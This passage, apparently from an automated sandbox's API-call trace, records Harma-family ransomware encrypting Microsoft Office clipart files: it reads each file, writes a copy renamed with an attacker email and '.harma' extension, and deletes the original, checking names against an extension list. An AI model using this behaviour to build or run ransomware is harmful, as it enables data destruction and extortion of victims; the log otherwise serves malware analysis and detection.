lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0142.429] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.430] WriteFile (in: hFile=0x354, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.430] SetEndOfFile (hFile=0x354) returned 1 [0142.430] CloseHandle (hObject=0x354) returned 1 [0142.430] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.430] SetEndOfFile (hFile=0x330) returned 1 [0142.432] CloseHandle (hObject=0x330) returned 1 [0142.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0142.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.453] lstrlenW (lpString=".doc") returned 4 [0142.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString=".docx") returned 5 [0142.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.453] lstrlenW (lpString=".pdf") returned 4 [0142.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString=".xls") returned 4 [0142.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.453] lstrlenW (lpString=".xlsx") returned 5 [0142.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.453] lstrlenW (lpString=".ppt") returned 4 [0142.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.453] lstrlenW (lpString=".zip") returned 4 [0142.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.453] lstrlenW (lpString=".rar") returned 4 [0142.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString=".bz2") returned 4 [0142.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString=".7z") returned 3 [0142.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.453] lstrlenW (lpString=".dbf") returned 4 [0142.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.453] lstrlenW (lpString=".1cd") returned 4 [0142.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString=".jpg") returned 4 [0142.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString=".doc") returned 4 [0142.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString=".docx") returned 5 [0142.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.454] lstrlenW (lpString=".pdf") returned 4 [0142.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString=".xls") returned 4 [0142.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.454] lstrlenW (lpString=".xlsx") returned 5 [0142.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.454] lstrlenW (lpString=".ppt") returned 4 [0142.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString=".zip") returned 4 [0142.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.454] lstrlenW (lpString=".rar") returned 4 [0142.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString=".bz2") returned 4 [0142.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString=".7z") returned 3 [0142.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString=".dbf") returned 4 [0142.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.454] lstrlenW (lpString=".1cd") returned 4 [0142.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0142.455] lstrlenW (lpString=".jpg") returned 4 [0142.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.455] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.455] lstrlenW (lpString="BD00116_.WMF") returned 12 [0142.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.859] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4870) returned 1 [0142.860] CloseHandle (hObject=0x210) returned 1 [0142.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0143.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0143.172] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.172] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0143.172] GetLastError () returned 0x0 [0143.173] ReadFile (in: hFile=0x354, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1306, lpOverlapped=0x0) returned 1 [0143.192] WriteFile (in: hFile=0x35c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0143.193] ReadFile (in: hFile=0x354, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.193] WriteFile (in: hFile=0x35c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.193] SetEndOfFile (hFile=0x35c) returned 1 [0143.527] CloseHandle (hObject=0x35c) returned 1 [0143.820] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.821] SetEndOfFile (hFile=0x354) returned 1 [0144.018] CloseHandle (hObject=0x354) returned 1 [0144.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0144.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.103] lstrlenW (lpString=".doc") returned 4 [0144.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.103] lstrlenW (lpString=".docx") returned 5 [0144.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.103] lstrlenW (lpString=".pdf") returned 4 [0144.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString=".xls") returned 4 [0144.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.104] lstrlenW (lpString=".xlsx") returned 5 [0144.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.104] lstrlenW (lpString=".ppt") returned 4 [0144.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString=".zip") returned 4 [0144.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.104] lstrlenW (lpString=".rar") returned 4 [0144.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString=".bz2") returned 4 [0144.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString=".7z") returned 3 [0144.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString=".dbf") returned 4 [0144.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString=".1cd") returned 4 [0144.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString=".jpg") returned 4 [0144.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.104] lstrlenW (lpString=".doc") returned 4 [0144.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.104] lstrlenW (lpString=".docx") returned 5 [0144.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.104] lstrlenW (lpString=".pdf") returned 4 [0144.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString=".xls") returned 4 [0144.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.105] lstrlenW (lpString=".xlsx") returned 5 [0144.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.105] lstrlenW (lpString=".ppt") returned 4 [0144.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.105] lstrlenW (lpString=".zip") returned 4 [0144.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.105] lstrlenW (lpString=".rar") returned 4 [0144.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString=".bz2") returned 4 [0144.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString=".7z") returned 3 [0144.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.105] lstrlenW (lpString=".dbf") returned 4 [0144.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.105] lstrlenW (lpString=".1cd") returned 4 [0144.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0144.105] lstrlenW (lpString=".jpg") returned 4 [0144.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.105] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.106] lstrlenW (lpString="BD08868_.WMF") returned 12 [0144.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.106] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=40206) returned 1 [0144.106] CloseHandle (hObject=0x214) returned 1 [0144.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0144.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.106] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.107] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.299] GetLastError () returned 0x0 [0144.299] ReadFile (in: hFile=0x214, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0144.326] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0144.327] ReadFile (in: hFile=0x214, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.327] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.328] SetEndOfFile (hFile=0x328) returned 1 [0144.328] CloseHandle (hObject=0x328) returned 1 [0144.328] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.328] SetEndOfFile (hFile=0x214) returned 1 [0144.331] CloseHandle (hObject=0x214) returned 1 [0144.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.614] lstrlenW (lpString=".doc") returned 4 [0144.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString=".docx") returned 5 [0144.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.614] lstrlenW (lpString=".pdf") returned 4 [0144.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString=".xls") returned 4 [0144.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.614] lstrlenW (lpString=".xlsx") returned 5 [0144.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.614] lstrlenW (lpString=".ppt") returned 4 [0144.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.614] lstrlenW (lpString=".zip") returned 4 [0144.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.615] lstrlenW (lpString=".rar") returned 4 [0144.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString=".bz2") returned 4 [0144.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString=".7z") returned 3 [0144.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString=".dbf") returned 4 [0144.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString=".1cd") returned 4 [0144.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString=".jpg") returned 4 [0144.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString=".doc") returned 4 [0144.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString=".docx") returned 5 [0144.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.615] lstrlenW (lpString=".pdf") returned 4 [0144.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString=".xls") returned 4 [0144.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.615] lstrlenW (lpString=".xlsx") returned 5 [0144.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.615] lstrlenW (lpString=".ppt") returned 4 [0144.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.615] lstrlenW (lpString=".zip") returned 4 [0144.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.616] lstrlenW (lpString=".rar") returned 4 [0144.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.616] lstrlenW (lpString=".bz2") returned 4 [0144.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.616] lstrlenW (lpString=".7z") returned 3 [0144.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.616] lstrlenW (lpString=".dbf") returned 4 [0144.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.616] lstrlenW (lpString=".1cd") returned 4 [0144.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0144.616] lstrlenW (lpString=".jpg") returned 4 [0144.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.616] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.616] lstrlenW (lpString="BD19986_.WMF") returned 12 [0144.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.617] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14486) returned 1 [0144.617] CloseHandle (hObject=0x328) returned 1 [0144.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0144.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.618] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.618] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0144.618] GetLastError () returned 0x0 [0144.618] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3896, lpOverlapped=0x0) returned 1 [0144.634] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0144.635] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.636] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.636] SetEndOfFile (hFile=0x210) returned 1 [0144.636] CloseHandle 